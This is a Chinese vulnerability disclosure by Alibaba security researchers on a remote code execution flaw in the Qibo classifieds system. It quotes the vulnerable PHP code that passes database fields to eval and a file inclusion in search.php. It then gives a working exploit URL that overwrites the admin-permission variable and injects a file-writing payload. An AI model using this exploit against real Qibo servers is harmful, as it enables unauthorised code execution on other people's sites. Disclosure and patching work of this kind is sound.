齐博分类系统远程代码执行漏洞

作者:

阿里巴巴安全研究实验室—扶夙

受影响系统:qibo所有产有产品都存在类似问题

0x00背景

阿里Hydra系统于2015.6.30号监测到齐博多系统发布补丁,修补了Hydra系统于5月份分析的漏洞以及最新乌云爆的远程代码执行漏洞。通过Hydra系统得知,该补丁修改了全局文件inc/common.inc.php。分类系统修改了jf.php、admin.php。

TB1mmb5IpXXXXcgXVXXXXXXXXXX[1]

TB1VaT7IpXXXXa4XVXXXXXXXXXX[1]

0x01 分析

以分类系统为例分析该漏洞及前台无限制远程代码执行。

通过搜索eval调用,查找到/var/www/v7_utf8/do/jf.php文件,存在潜在的代码执行漏洞。

$query = $db->query("SELECT * FROM {$pre}jfsort ORDER BY list");

while($rs = $db->fetch_array($query)){

       $fnameDB[$rs[fid]]=$rs[name];

       $query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list");

       while($rs2 = $db->fetch_array($query2)){

              eval("\$rs2[title]=\"$rs2[title]\";");

              eval("\$rs2[content]=\"$rs2[content]\";");

              $jfDB[$rs[fid]][]=$rs2;

       }

}

可以看到title和content字段从数据库pre_jfabout中取出,如果该参数可控,则可导致远程代码执行漏洞。搜索jfabout关键字,寻找insert或者update操作,查找可控的title和content内容,找到文件/var/www/qiblog/hack/jfadmin/admin.php。

elseif($action=="addjf"&&$Apower[jfadmin_mod])

{

       $db->query("INSERT INTO `{$pre}jfabout` ( `fid` , `title` , `content`, `list` ) VALUES ( '$fid', '$title', '$content', '$list' )");

       jump("��ӳɹ�","index.php?lfj=jfadmin&job=listjf&fid=$fid",1);

}

及:

elseif($action=="editjf"&&$Apower[jfadmin_mod])

{

       $db->query("UPDATE `{$pre}jfabout` SET `fid`='$fid',`title`='$title',`content`='$content' WHERE id='$id'");

       jump("��ӳɹ�","index.php?lfj=jfadmin&job=listjf&fid=$fid",1);

}

 

可以看到,title、content内容可控,通过POST提交即可进入数据库。

通过unset掉Apower变量,搜索利用方法。

前台利用,因为该文件需要Apower变量不为空,验证了是否具有管理员权限。但Apower变量末初始化,假设能调用/hack/jfadmin/admin.php,并覆盖该参数即可。前台搜索找到search.php有本地文件包含漏洞。可以利用该点来利用。

Search.php:

$fid_select="<select name='fid' onChange=\"if(this.options[this.selectedIndex].value=='-1'){alert('�㲻��ѡ������');}\"><option value='0' style='color:#aaa;'>������Ŀ</option>";

foreach( $Fid_db[0] AS $key=>$value){

$fid_select.="<option value='-1' style='color:red;'>$value</option>";

foreach( $Fid_db[$key] AS $key2=>$value2){

$ckk=$fid==$key2?' selected ':' ';

$fid_select.="<option value='$key2' $ckk>  |--$value2</option>";

}

}

$fid_select.="</select>";



$postdb[city_id] && $city_id  =     $postdb[city_id];

$postdb[street_id]    && $street_id     =     $postdb[street_id];

$postdb[zone_id]      && $zone_id      =     $postdb[zone_id];



@include_once(ROOT_PATH."data/zone/$city_id.php");

 

$city_id为$postdb[city_id]变量而来可控。可直接包含利用。

0x02 利用

通过以上分析可知,首先通过admin.php将恶意代码插入数据库,然后再从jf.php取出数据即可代码执行。前台利用文件包含覆盖Apower变量进入addjf即可远程利用。

 

利用:

http://192.168.80.133:81/fenlei1.0/search.php?mid=1&action=search&keyword=asd&postdb[city_id]=../../admin/hack&hack=jfadmin&action=addjf&Apower[jfadmin_mod]=1&fid=1& title=test&content=${@fwrite(fopen('ali.php', 'w+'),'test')}&list=1

 

即可在admin目录下生成ali.php。

或者普通用户访问/do/jf.php,即可在do目录下生成ali.php文件

0x03 修复

手段:更新官方补丁

补丁链接:

http://bbs.qibosoft.com/job-forum-action-download-pid-tpc-tid-422299-aid-92428.htm

发表评论